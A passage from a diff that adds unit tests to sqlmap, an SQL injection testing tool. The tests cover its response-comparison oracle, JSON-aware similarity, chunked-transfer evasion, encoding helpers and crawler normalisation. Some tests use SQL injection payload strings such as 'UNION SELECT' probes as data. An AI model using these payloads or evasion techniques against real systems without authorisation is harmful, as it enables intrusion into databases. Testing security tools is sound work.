self.assertIsInstance(serializeObject([1, 2, ("a", "b")]), str) + + def test_unserialize_none(self): + self.assertIsNone(unserializeObject(None)) + + def test_set_get_technique_thread_local(self): + saved = getTechnique() + try: + setTechnique(5) + self.assertEqual(getTechnique(), 5) + finally: + setTechnique(saved) + + def test_get_technique_falls_back_to_kb(self): + saved_thread = getTechnique() + saved_kb = kb.get("technique") + try: + setTechnique(None) + kb.technique = 7 + self.assertEqual(getTechnique(), 7) + finally: + setTechnique(saved_thread) + kb.technique = saved_kb + + +class TestRemovePostHint(unittest.TestCase): + + def test_removes_known_prefix(self): + self.assertEqual(removePostHintPrefix("JSON id"), "id") + + def test_no_prefix_unchanged(self): + self.assertEqual(removePostHintPrefix("id"), "id") + + +class TestFileHelpers(unittest.TestCase): + + def test_check_file_existing(self): + self.assertTrue(checkFile(__file__)) + + def test_check_file_missing_no_raise(self): + self.assertFalse(checkFile("/no/such/path_xyz_123", raiseOnError=False)) + + def test_check_file_missing_raises(self): + with self.assertRaises(SqlmapSystemException): + checkFile("/no/such/path_xyz_123", raiseOnError=True) + + def test_is_zip_file_wordlist(self): + # paths.WORDLIST is a zip-compressed wordlist shipped with sqlmap + self.assertTrue(isZipFile(paths.WORDLIST)) + + def test_is_zip_file_plain_text(self): + self.assertFalse(isZipFile(paths.SQL_KEYWORDS)) + + def test_safe_filepath_encode_ascii_passthrough(self): + # On Python 3 the function returns the value unchanged for str input + self.assertEqual(safeFilepathEncode("/tmp/x"), "/tmp/x") + + def test_safe_expand_user_basename_preserved(self): + self.assertIn(os.path.basename(__file__), safeExpandUser(__file__)) + + +class TestCheckOldOptions(unittest.TestCase): + + def test_no_old_options_is_noop(self): + # Returns None and does not raise when no deprecated options are present + self.assertIsNone(checkOldOptions(["-u", "http://test.invalid/?id=1", "--banner"])) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_common_helpers.py b/tests/test_common_helpers.py new file mode 100644 index 00000000000..ca37d14bd63 --- /dev/null +++ b/tests/test_common_helpers.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Assorted request-shaping helpers in lib/core/common.py: +chunkSplitPostData (HTTP chunked-transfer evasion), randomizeParameterValue +(tamper/cache-buster), getHostHeader (Host header derivation). + +chunkSplitPostData uses random chunk sizes, so its output is asserted +structurally (reassembles to the original, terminates correctly) rather than +byte-for-byte; randomizeParameterValue is asserted via its invariants. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import chunkSplitPostData, randomizeParameterValue, getHostHeader + + +def _dechunk(data): + """Reassemble an HTTP/1.1 chunked body back into its payload.""" + out = [] + i = 0 + while i < len(data): + nl = data.index("\r\n", i) + size = int(data[i:nl].split(";")[0], 16) # size; optional chunk-extension + start = nl + 2 + out.append(data[start:start + size]) + i = start + size + 2 # skip chunk data + trailing CRLF + if size == 0: + break + return "".join(out) + + +class TestChunkSplit(unittest.TestCase): + def test_reassembles_to_original(self): + for payload in ("a=1&b=2", "x" * 50, "single=value", ""): + self.assertEqual(_dechunk(chunkSplitPostData(payload)), payload, + msg="chunk reassembly failed for %r" % payload) + + def test_terminates_with_zero_chunk(self): + self.assertTrue(chunkSplitPostData("a=1&b=2").endswith("0\r\n\r\n")) + + +class TestRandomizeParameterValue(unittest.TestCase): + def test_length_preserved(self): + for v in ("abc123", "value", "42", "MixedCASE99"): + self.assertEqual(len(randomizeParameterValue(v)), len(v), msg="length changed for %r" % v) + + def test_char_class_preserved(self): + # letters stay letters, digits stay digits (positionally) + src = "abc123XYZ789" + out = randomizeParameterValue(src) + for a, b in zip(src, out): + self.assertEqual(a.isdigit(), b.isdigit(), msg="char class changed: %r -> %r" % (a, b)) + self.assertEqual(a.isalpha(), b.isalpha(), msg="char class changed: %r -> %r" % (a, b)) + + +class TestGetHostHeader(unittest.TestCase): + def test_with_port(self): + self.assertEqual(getHostHeader("http://h:8080/p"), "h:8080") + + def test_without_port(self): + self.assertEqual(getHostHeader("http://example.com/path"), "example.com") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_comparison.py b/tests/test_comparison.py new file mode 100644 index 00000000000..5f361e21ce3 --- /dev/null +++ b/tests/test_comparison.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The true/false/None response oracle (lib/request/comparison.py). + +The seqMatcher ratio path needs a live page template and is intentionally left +to --vuln. What IS pure and worth pinning here is the short-circuit decision +table: --string / --not-string / --regexp / --code matching, and the _adjust() +negative-logic flip. These are the rules that decide whether a payload counts +as True, and they are easy to break with a refactor. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.comparison import comparison, _adjust +from lib.core.common import removeReflectiveValues +from lib.core.settings import REFLECTED_VALUE_MARKER +from lib.core.data import conf, kb + + +def _reset_match_conf(): + conf.string = conf.notString = conf.regexp = conf.code = None + + +class TestStringMatch(unittest.TestCase): + def setUp(self): + _reset_match_conf() + kb.negativeLogic = False + + def tearDown(self): + _reset_match_conf() + + def test_string_present_is_true(self): + conf.string = "WELCOME" + self.assertTrue(comparison("xx WELCOME yy", None, code=200)) + + def test_string_absent_is_false(self): + conf.string = "WELCOME" + self.assertFalse(comparison("nothing here", None, code=200)) + + +class TestRegexpMatch(unittest.TestCase): + def setUp(self): + _reset_match_conf() + kb.negativeLogic = False + + def tearDown(self): + _reset_match_conf() + + def test_regexp_match_is_true(self): + conf.regexp = "id=\\d+" + self.assertTrue(comparison("user id=42 ok", None, code=200)) + + def test_regexp_nomatch_is_false(self): + conf.regexp = "id=\\d+" + self.assertFalse(comparison("user name", None, code=200)) + + +class TestCodeMatch(unittest.TestCase): + def setUp(self): + _reset_match_conf() + kb.negativeLogic = False + + def tearDown(self): + _reset_match_conf() + + def test_code_match_is_true(self): + conf.code = 200 + self.assertTrue(comparison("body", None, code=200)) + + def test_code_mismatch_is_false(self): + conf.code = 200 + self.assertFalse(comparison("body", None, code=404)) + + +class TestAdjustNegativeLogic(unittest.TestCase): + """_adjust flips the condition under negative logic (the raw-page scheme), + but leaves None untouched and never flips when getRatioValue is requested.""" + + def setUp(self): + _reset_match_conf() # negative logic only applies with no string/regexp/code set + + def tearDown(self): + _reset_match_conf() + kb.negativeLogic = False + + def test_plain_passthrough(self): + kb.negativeLogic = False + self.assertEqual(_adjust(True, False), True) + self.assertEqual(_adjust(False, False), False) + + def test_negative_logic_flips(self): + kb.negativeLogic = True + self.assertEqual(_adjust(True, False), False) + self.assertEqual(_adjust(False, False), True) + + def test_negative_logic_leaves_none(self): + kb.negativeLogic = True + self.assertIsNone(_adjust(None, False)) + + +class TestRemoveReflectiveValues(unittest.TestCase): + """Reflected payloads are masked before comparison so a page echoing the + injected string isn't mistaken for a True/different response. Note: the + masking engages for *bordered* payloads (containing non-alpha chars), which + is what real injection payloads look like.""" + + def test_reflected_payload_is_masked(self): + out = removeReflectiveValues(u"id=1 UNION SELECT 1,2,3 end", u"1 UNION SELECT 1,2,3") + self.assertIn(REFLECTED_VALUE_MARKER, out) + self.assertNotIn(u"UNION SELECT 1,2,3", out) + + def test_not_reflected_unchanged(self): + content = u"nothing reflected here" + self.assertEqual(removeReflectiveValues(content, u"1 AND 1=1"), content) + + def test_none_payload_unchanged(self): + content = u"id=1 AND 1=1 end" + self.assertEqual(removeReflectiveValues(content, None), content) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_comparison_json.py b/tests/test_comparison_json.py new file mode 100644 index 00000000000..247195c193f --- /dev/null +++ b/tests/test_comparison_json.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +D1 - structure-aware (JSON) detection oracle. Two layers: + * jsonMinimize() (lib/core/common.py): the order-independent leaf-path projection. + * comparison() (lib/request/comparison.py): when the response Content-Type is JSON, the + similarity ratio is computed over that projection instead of raw text - so key + reordering / whitespace noise no longer perturbs it (false-positive fix) and a small + value/structure change is no longer drowned out in a large body (false-negative fix). + +The headline tests assert the JSON path is *better* than the text path on the same inputs, +not merely that it runs; and that any non-JSON / unparseable / explicit-mode case falls +back to the exact text behavior (so the HTML oracle is untouched). +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import jsonMinimize +from lib.core.data import conf, kb +from lib.core.enums import HTTP_HEADER +from lib.core.settings import UPPER_RATIO_BOUND +from lib.core.threads import getCurrentThreadData +from lib.request.comparison import comparison + + +class _Headers(object): + """Minimal stand-in for the per-response headers object the oracle receives.""" + def __init__(self, contentType): + self._ct = contentType + + def get(self, name, default=None): + return self._ct if (self._ct and name.lower() == HTTP_HEADER.CONTENT_TYPE.lower()) else default + + @property + def headers(self): + return ["%s: %s\r\n" % (HTTP_HEADER.CONTENT_TYPE, self._ct)] if self._ct else [] + + +class TestJsonMinimize(unittest.TestCase): + def test_order_and_whitespace_immune(self): + self.assertEqual(jsonMinimize('{"b":2,"a":1}'), jsonMinimize('{ "a": 1,\n "b": 2 }')) + + def test_value_flip_differs(self): + self.assertNotEqual(jsonMinimize('{"ok":true}'), jsonMinimize('{"ok":false}')) + + def test_array_length_registers(self): + self.assertNotEqual(jsonMinimize('{"r":[1,2,3]}'), jsonMinimize('{"r":[1,2,3,4]}')) + + def test_parse_failure_is_none(self): + for bad in ("", "{bad", "", "{'a':1}", None): + self.assertIsNone(jsonMinimize(bad)) + + def test_valid_edge_shapes_are_not_none(self): + # bare array, scalar, and top-level null are valid JSON -> defined (non-None) projections + for ok in ("[1,2]", "42", "null", '"x"'): + self.assertIsNotNone(jsonMinimize(ok)) + self.assertEqual(jsonMinimize("{}"), "") # empty object -> empty projection (not None) + + +class _OracleCase(unittest.TestCase): + _FLAGS = ("string", "notString", "regexp", "code", "titles", "textOnly") + _KB = ("matchRatio", "nullConnection", "heavilyDynamic", "skipSeqMatcher", + "errorIsNone", "negativeLogic", "dynamicMarkings", "testMode", "pageTemplate") + + def setUp(self): + self._c = dict((k, conf.get(k)) for k in self._FLAGS) + self._k = dict((k, kb.get(k)) for k in self._KB) + for k in self._FLAGS: + conf[k] = None + kb.nullConnection = kb.heavilyDynamic = kb.skipSeqMatcher = kb.errorIsNone = kb.negativeLogic = kb.testMode = False + kb.dynamicMarkings = [] + + def tearDown(self): + for k, v in self._c.items(): + conf[k] = v + for k, v in self._k.items(): + kb[k] = v + + def ratio(self, template, page, contentType): + # fresh, uncalibrated comparison each call + kb.matchRatio = None + kb.pageTemplate = template + td = getCurrentThreadData() + td.lastPageTemplate = None + return comparison(page, _Headers(contentType), getRatioValue=True) + + +class TestStructuredOracle(_OracleCase): + def test_noise_immunity_beats_text(self): + # same data, keys reordered + reindented: JSON path ~identical, text path measurably lower. + # This is D1's core win - reorder/whitespace noise (ubiquitous in real APIs) stops + # perturbing the ratio, which also stabilizes the kb.matchRatio calibration. + a = '{"id":1,"name":"alice","role":"admin"}' + b = '{ "role": "admin",\n "name": "alice",\n "id": 1 }' + jsonRatio = self.ratio(a, b, "application/json") + textRatio = self.ratio(a, b, "text/html") + self.assertGreater(jsonRatio, UPPER_RATIO_BOUND) # JSON: noise ignored -> True + self.assertLess(textRatio, jsonRatio) # text: perturbed by reordering + + def test_real_difference_still_detected(self): + # normalization must not over-collapse: a genuinely different value still separates + a = '{"role":"admin"}' + b = '{"role":"guest"}' + self.assertLess(self.ratio(a, b, "application/json"), UPPER_RATIO_BOUND) + + def test_html_contenttype_uses_text_path(self): + # identical inputs through a text/html response must equal the pure text baseline + a = '{"id":1,"name":"alice"}' + b = '{ "name": "alice", "id": 1 }' + conf.code = None + self.assertEqual(self.ratio(a, b, "text/html"), self.ratio(a, b, None)) + + def test_unparseable_json_falls_back(self): + # application/json Content-Type but a non-JSON body -> behaves exactly like the text path + a, b = "x", "y" + self.assertEqual(self.ratio(a, b, "application/json"), self.ratio(a, b, "text/html")) + + def test_structured_suffix_contenttype_gated_in(self): + a = '{"id":1,"name":"alice","role":"admin"}' + b = '{ "role":"admin", "name":"alice", "id":1 }' + self.assertGreater(self.ratio(a, b, "application/vnd.api+json; charset=utf-8"), UPPER_RATIO_BOUND) + + def test_textonly_escape_hatch_bypasses_json(self): + a = '{"id":1,"name":"alice"}' + b = '{ "name":"alice", "id":1 }' + withJson = self.ratio(a, b, "application/json") + conf.textOnly = True + withoutJson = self.ratio(a, b, "application/json") + self.assertGreater(withJson, withoutJson) # --text-only opts out of the JSON path + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_compat.py b/tests/test_compat.py new file mode 100644 index 00000000000..98c54434437 --- /dev/null +++ b/tests/test_compat.py @@ -0,0 +1,289 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for lib/core/compat.py -- cross-version compatibility utilities, +including WichmannHill RNG, patchHeaders, cmp_to_key, LooseVersion, +MixedWriteTextIO, and _codecs_open. +""" + +import io +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.compat import (WichmannHill, patchHeaders, cmp, choose_boundary, + round, cmp_to_key, LooseVersion, _is_write_mode, + MixedWriteTextIO, _codecs_open) + + +class TestWichmannHill(unittest.TestCase): + def test_seed_and_random(self): + r = WichmannHill(42) + self.assertIsInstance(r.random(), float) + self.assertGreaterEqual(r.random(), 0.0) + self.assertLess(r.random(), 1.0) + + def test_deterministic_seed(self): + r1 = WichmannHill(123) + r2 = WichmannHill(123) + # First random numbers should match + self.assertEqual([r1.random() for _ in range(10)], + [r2.random() for _ in range(10)]) + + def test_getstate_setstate(self): + r = WichmannHill(7) + for _ in range(20): + r.random() + state = r.getstate() + saved = [r.random() for _ in range(5)] + r.setstate(state) + self.assertEqual(saved, [r.random() for _ in range(5)]) + + def test_jumpahead(self): + r1 = WichmannHill(99) + r2 = WichmannHill(99) + for _ in range(10): + r1.random() + r2.jumpahead(10) + self.assertEqual(r1.getstate()[1], r2.getstate()[1]) + + def test_jumpahead_negative_raises(self): + r = WichmannHill() + with self.assertRaises(ValueError): + r.jumpahead(-1) + + def test_whseed(self): + # a fixed integer whseed must be deterministic across instances ... + r1 = WichmannHill() + r1.whseed(12345) + r2 = WichmannHill() + r2.whseed(12345) + self.assertEqual([r1.random() for _ in range(10)], + [r2.random() for _ in range(10)]) + # ... and pin the known sequence (hash(int) == int, so stable across processes) + r3 = WichmannHill() + r3.whseed(12345) + self.assertEqual([round(r3.random(), 6) for _ in range(3)], + [0.600031, 0.872148, 0.039151]) + + def test_whseed_none(self): + r = WichmannHill() + r.whseed() # seeds from current time; must not raise + # the time-derived seed must still drive a valid in-range sequence. (Non-determinism is NOT + # asserted here: __whseed() derives its seed from int(time.time()*256) masked to 24 bits, so + # two back-to-back instances legitimately collide - that would be a timing-fragile test. The + # os.urandom-backed seed() None path IS asserted non-deterministic in test_seed_none.) + seq = [r.random() for _ in range(10)] + self.assertTrue(all(isinstance(x, float) and 0.0 <= x < 1.0 for x in seq)) + # the seed must actually advance the generator (not stuck on a constant) + self.assertGreater(len(set(seq)), 1) + + def test_seed_none(self): + r = WichmannHill() + r.seed() # seeds from os.urandom/time; must not raise + seq = [r.random() for _ in range(10)] + self.assertTrue(all(isinstance(x, float) and 0.0 <= x < 1.0 for x in seq)) + other = WichmannHill() + other.seed() + self.assertNotEqual(seq, [other.random() for _ in range(10)]) + + def test_seed_hashable(self): + # a non-int hashable seed goes through hash(a); two instances seeded with the same + # object in the same process must produce the same sequence (determinism). The literal + # values are NOT pinned because hash() of a str is randomized per process. + r1 = WichmannHill("a_string_seed") + r2 = WichmannHill("a_string_seed") + seq = [r1.random() for _ in range(10)] + self.assertEqual(seq, [r2.random() for _ in range(10)]) + self.assertTrue(all(0.0 <= x < 1.0 for x in seq)) + # a different seed must yield a different sequence + r3 = WichmannHill("different_seed") + self.assertNotEqual(seq, [r3.random() for _ in range(10)]) + + def test_setstate_bad_version(self): + r = WichmannHill() + with self.assertRaises(ValueError): + r.setstate((999, (1, 1, 1), None)) + + +class TestPatchHeaders(unittest.TestCase): + def test_patches_dict_to_header_obj(self): + h = patchHeaders({"Host": "example.com", "Content-Type": "text/html"}) + self.assertEqual(h["host"], "example.com") + self.assertEqual(h["content-type"], "text/html") + self.assertEqual(h.get("HOST"), "example.com") + self.assertIsNone(h.get("missing")) + self.assertIsNotNone(h.headers) + self.assertTrue(any("Host: example.com" in _ for _ in h.headers)) + + def test_passthrough_none(self): + self.assertIsNone(patchHeaders(None)) + + def test_passthrough_existing_headers_attr(self): + d = {"A": "1"} + d["headers"] = [] + result = patchHeaders(d) + self.assertEqual(result, d) # unchanged + + +class TestCmp(unittest.TestCase): + def test_less(self): + self.assertEqual(cmp("a", "b"), -1) + + def test_greater(self): + self.assertEqual(cmp(2, 1), 1) + + def test_equal(self): + self.assertEqual(cmp(5, 5), 0) + + +class TestRound(unittest.TestCase): + def test_positive(self): + self.assertEqual(round(2.0), 2.0) + self.assertEqual(round(2.5), 3.0) + self.assertEqual(round(2.499), 2.0) + + def test_negative(self): + self.assertEqual(round(-2.5), -3.0) + self.assertEqual(round(-2.0), -2.0) + + def test_with_decimals(self): + self.assertAlmostEqual(round(2.567, d=2), 2.57) + + +class TestCmpToKey(unittest.TestCase): + def test_sort_with_cmp(self): + items = [3, 1, 4, 1, 5] + key_func = cmp_to_key(lambda a, b: (a > b) - (a < b)) + self.assertEqual(sorted(items, key=key_func), [1, 1, 3, 4, 5]) + + def test_reverse_sort(self): + items = [3, 1, 2] + key_func = cmp_to_key(lambda a, b: (b > a) - (b < a)) + self.assertEqual(sorted(items, key=key_func), [3, 2, 1]) + + def test_hash_raises(self): + k = cmp_to_key(lambda a, b: 0)(5) + with self.assertRaises(TypeError): + hash(k) + + +class TestLooseVersion(unittest.TestCase): + def test_basic(self): + self.assertEqual(LooseVersion("1.0"), (1, 0)) + self.assertEqual(LooseVersion("1.0.1"), (1, 0, 1)) + + def test_comparison(self): + self.assertTrue(LooseVersion("1.0.1") > LooseVersion("1.0")) + self.assertTrue(LooseVersion("8.0.22") > LooseVersion("8.0.2")) + + def test_no_digits(self): + self.assertEqual(LooseVersion("alpha"), ()) + self.assertEqual(LooseVersion(""), ()) + self.assertEqual(LooseVersion(None), ()) + + def test_with_suffix(self): + self.assertEqual(LooseVersion("1.0alpha"), (1, 0)) + self.assertEqual(LooseVersion("10.5.3-beta"), (10, 5, 3)) + + +class TestIsWriteMode(unittest.TestCase): + def test_write_modes(self): + for mode in ("w", "a", "x", "w+", "a+", "x+", "w+b", "ab"): + self.assertTrue(_is_write_mode(mode), msg="mode %r" % mode) + + def test_read_modes(self): + for mode in ("r", "rb", ""): + self.assertFalse(_is_write_mode(mode), msg="mode %r" % mode) + + +class TestMixedWriteTextIO(unittest.TestCase): + def test_text_write(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + w.write(u"hello") + self.assertEqual(buf.getvalue(), "hello") + + def test_bytes_write_decodes(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + w.write(b"world") + self.assertEqual(buf.getvalue(), "world") + + def test_writelines(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + w.writelines([u"a", u"b", u"c"]) + self.assertEqual(buf.getvalue(), "abc") + + def test_iterator(self): + buf = io.StringIO(u"line1\nline2\n") + w = MixedWriteTextIO(buf, "utf-8", "strict") + self.assertEqual(list(w), ["line1\n", "line2\n"]) + + def test_enter_exit(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + with w as f: + f.write(u"test") + self.assertTrue(buf.closed) + + +class TestCodecsOpen(unittest.TestCase): + def test_no_encoding_returns_io_open(self): + tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) + tmp.close() + try: + f = _codecs_open(tmp.name, "w", encoding=None) + f.write(u"test") + f.close() + with open(tmp.name) as fh: + self.assertIn("test", fh.read()) + finally: + os.unlink(tmp.name) + + def test_with_encoding(self): + tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) + tmp.close() + try: + f = _codecs_open(tmp.name, "w", encoding="utf-8") + f.write(u"caf\xe9") + f.close() + with open(tmp.name, "rb") as fh: + self.assertIn(b"caf\xc3\xa9", fh.read()) + finally: + os.unlink(tmp.name) + + def test_with_encoding_and_bytes(self): + tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) + tmp.close() + try: + f = _codecs_open(tmp.name, "w", encoding="utf-8") + # MixedWriteTextIO should accept bytes too + f.write(b"bytes_input") + f.close() + with open(tmp.name) as fh: + self.assertIn("bytes_input", fh.read()) + finally: + os.unlink(tmp.name) + + +class TestChooseBoundary(unittest.TestCase): + def test_length(self): + self.assertEqual(len(choose_boundary()), 32) + + def test_hex_chars(self): + b = choose_boundary() + self.assertTrue(all(c in "0123456789abcdef" for c in b)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_convert.py b/tests/test_convert.py new file mode 100644 index 00000000000..9ca997f5a7c --- /dev/null +++ b/tests/test_convert.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Encoding / decoding / serialization round-trips and known vectors. +Covers: hex, base64 (std + url-safe), DBMS hex decode, byte<->text conversion, +JSON (de)serialization, restricted base64-pickle. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.convert import (decodeHex, encodeHex, decodeBase64, encodeBase64, + getBytes, getText, getUnicode, getOrds, + jsonize, dejsonize, serializeValue, deserializeValue) +from lib.core.common import decodeDbmsHexValue + +try: + unichr = unichr +except NameError: + unichr = chr + +RND = random.Random(0xC0FFEE) + + +def _rand_bytes(maxlen=48): + return bytes(bytearray(RND.randint(0, 255) for _ in range(RND.randint(0, maxlen)))) + + +class TestHex(unittest.TestCase): + def test_known_vectors(self): + self.assertEqual(decodeHex("31323334", binary=True), b"1234") + self.assertEqual(getText(encodeHex(b"1234", binary=False)), "31323334") + + def test_roundtrip_property(self): + for _ in range(3000): + raw = _rand_bytes() + self.assertEqual(decodeHex(encodeHex(raw, binary=False), binary=True), raw) + + +class TestBase64(unittest.TestCase): + def test_known_vectors(self): + self.assertEqual(decodeBase64("MTIz", binary=True), b"123") + self.assertEqual(decodeBase64("MTIzNA", binary=True), b"1234") # missing padding + self.assertEqual(decodeBase64("MTIzNA==", binary=True), b"1234") + self.assertEqual(getText(encodeBase64(b"123", binary=False)), "MTIz") + # url-safe and standard alphabets must decode equivalently + self.assertEqual(decodeBase64("A-B_CDE", binary=True), decodeBase64("A+B/CDE", binary=True)) + + def test_roundtrip_property(self): + for _ in range(3000): + raw = _rand_bytes() + self.assertEqual(decodeBase64(encodeBase64(raw, binary=True), binary=True), raw) + self.assertEqual(decodeBase64(encodeBase64(raw, binary=True, safe=True), binary=True), raw) + self.assertEqual(decodeBase64(encodeBase64(raw, binary=True, padding=False), binary=True), raw) + + +class TestDecodeDbmsHexValue(unittest.TestCase): + # authoritative vectors taken from the function's own doctests + def test_known_vectors(self): + self.assertEqual(decodeDbmsHexValue("3132332031"), u"123 1") + self.assertEqual(decodeDbmsHexValue("31003200330020003100"), u"123 1") # utf-16-le shaped + self.assertEqual(decodeDbmsHexValue("00310032003300200031"), u"123 1") # utf-16-be shaped + self.assertEqual(decodeDbmsHexValue("0x31003200330020003100"), u"123 1") + self.assertEqual(decodeDbmsHexValue("313233203"), u"123 ?") # odd length + self.assertEqual(decodeDbmsHexValue(["0x31", "0x32"]), [u"1", u"2"]) # list input + + def test_ascii_roundtrip_property(self): + for _ in range(1000): + s = "".join(chr(RND.randint(0x20, 0x7e)) for _ in range(RND.randint(1, 30))) + if len(s) % 2 == 0: # avoid the deliberate odd-length '?' behavior + self.assertEqual(decodeDbmsHexValue(getText(encodeHex(getBytes(s), binary=False))), s) + + +class TestByteTextConversion(unittest.TestCase): + def test_ascii_roundtrip(self): + for _ in range(1000): + s = u"".join(unichr(RND.randint(0x20, 0x7e)) for _ in range(RND.randint(0, 30))) + self.assertEqual(getUnicode(getBytes(s)), s) + + def test_unicode_roundtrip(self): + samples = [u"café", u"你好", u"\U0001F600", u"a’bâ„¢c"] + for s in samples: + self.assertEqual(getUnicode(getBytes(s)), s) + + def test_getords(self): + self.assertEqual(getOrds(b"AB"), [65, 66]) + + +class TestJson(unittest.TestCase): + def test_roundtrip(self): + for obj in [{"a": 1, "b": [1, 2, 3]}, [1, "x", None], {"nested": {"k": "v"}}, "str", 123]: + self.assertEqual(dejsonize(jsonize(obj)), obj) + + def test_jsonize_produces_text_not_identity(self): + # anchor: jsonize must serialize to a JSON string, not pass the object through + out = jsonize({"a": 1}) + self.assertIsInstance(out, str) + self.assertIn('"a"', out) + self.assertEqual(jsonize(123), "123") # int -> textual "123" + + +class TestSerialize(unittest.TestCase): + # Smoke coverage of the safe (JSON-based) session serializer; the exhaustive corner-case + # and security suite lives in tests/test_serialize.py. + def test_roundtrip_allowed_types(self): + for obj in [[1, 2, 3], {"a": 1}, (1, 2), "text", 42, 3.14, True, None, {"k": [1, {"n": "v"}]}]: + self.assertEqual(deserializeValue(serializeValue(obj)), obj) + + def test_bytes_roundtrip(self): + for raw in [b"x", b"\x00\x01\xff", b"\xde\xad\xbe\xef"]: + self.assertEqual(deserializeValue(serializeValue(raw)), raw, msg="bytes round-trip %r" % raw) + + def test_bytes_nested_in_container_roundtrip(self): + for obj in [{"a": b"bytes"}, [b"ab", "s", 1, None], ("t", b"\xde\xad")]: + self.assertEqual(deserializeValue(serializeValue(obj)), obj, msg="nested-bytes round-trip %r" % (obj,)) + + def test_output_is_plain_ascii_text_no_base64(self): + # the serialized form must be readable JSON text (not Base64 / binary) so it lands verbatim in + # the TEXT session column with zero wrapping overhead + out = serializeValue({"k": [1, (2, 3)]}) + self.assertIsInstance(out, str) + self.assertTrue(out.startswith("{") and out.endswith("}"), out) + + def test_deserialize_accepts_bytes(self): + # BigArray hands the serialized data back as bytes (off a compressed disk chunk) + self.assertEqual(deserializeValue(getBytes(serializeValue([1, (2, 3)]))), [1, (2, 3)]) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_crawler.py b/tests/test_crawler.py new file mode 100644 index 00000000000..709e25896b7 --- /dev/null +++ b/tests/test_crawler.py @@ -0,0 +1,65 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Crawler result normalization (lib/utils/crawler.py normalizeCrawlingResults). + +--crawl can surface thousands of near-identical URLs; normalization keeps one +representative per distinct endpoint+parameter shape so the scan is not flooded +with value-only variants. The key must span the full path: collapsing on the +last path segment alone silently drops distinct endpoints that share an action +name (e.g. /users/edit vs /products/edit), losing real attack surface. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.crawler import normalizeCrawlingResults + + +def _t(url, data=None): + # kb.targets tuple shape: (url, method, data, ...) + return (url, None, data, None, None) + + +class TestNormalizeCrawlingResults(unittest.TestCase): + def _urls(self, targets): + return [t[0] for t in normalizeCrawlingResults(targets)] + + def test_value_only_variants_collapse(self): + kept = self._urls([_t("http://h/item?id=1"), _t("http://h/item?id=2"), _t("http://h/item?id=3")]) + self.assertEqual(kept, ["http://h/item?id=1"]) + + def test_distinct_endpoints_sharing_action_are_kept(self): + # the regression: /users/edit and /products/edit must not collapse on the shared last segment + kept = self._urls([_t("http://h/users/edit?id=1"), + _t("http://h/products/edit?id=1"), + _t("http://h/orders/edit?id=1"), + _t("http://h/users/edit?id=2")]) + self.assertEqual(set(kept), {"http://h/users/edit?id=1", + "http://h/products/edit?id=1", + "http://h/orders/edit?id=1"}) + + def test_different_parameter_names_are_kept(self): + kept = self._urls([_t("http://h/p?id=1"), _t("http://h/p?name=x")]) + self.assertEqual(set(kept), {"http://h/p?id=1", "http://h/p?name=x"}) + + def test_different_hosts_are_kept(self): + kept = self._urls([_t("http://a.tld/edit?id=1"), _t("http://b.tld/edit?id=1")]) + self.assertEqual(set(kept), {"http://a.tld/edit?id=1", "http://b.tld/edit?id=1"}) + + def test_post_data_folded_into_shape(self): + # POST body params participate in the shape, and value-only POST variants collapse + kept = self._urls([_t("http://h/login", "user=a&pass=b"), _t("http://h/login", "user=c&pass=d")]) + self.assertEqual(kept, ["http://h/login"]) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_databases_enum.py b/tests/test_databases_enum.py new file mode 100644 index 00000000000..e3136011803 --- /dev/null +++ b/tests/test_databases_enum.py @@ -0,0 +1,773 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for the enumeration methods of plugins/generic/databases.py. + +The injection layer (lib.request.inject.getValue) is mocked so no network or +live DBMS is required; each test drives a single enumeration method down a +specific branch (conf.direct 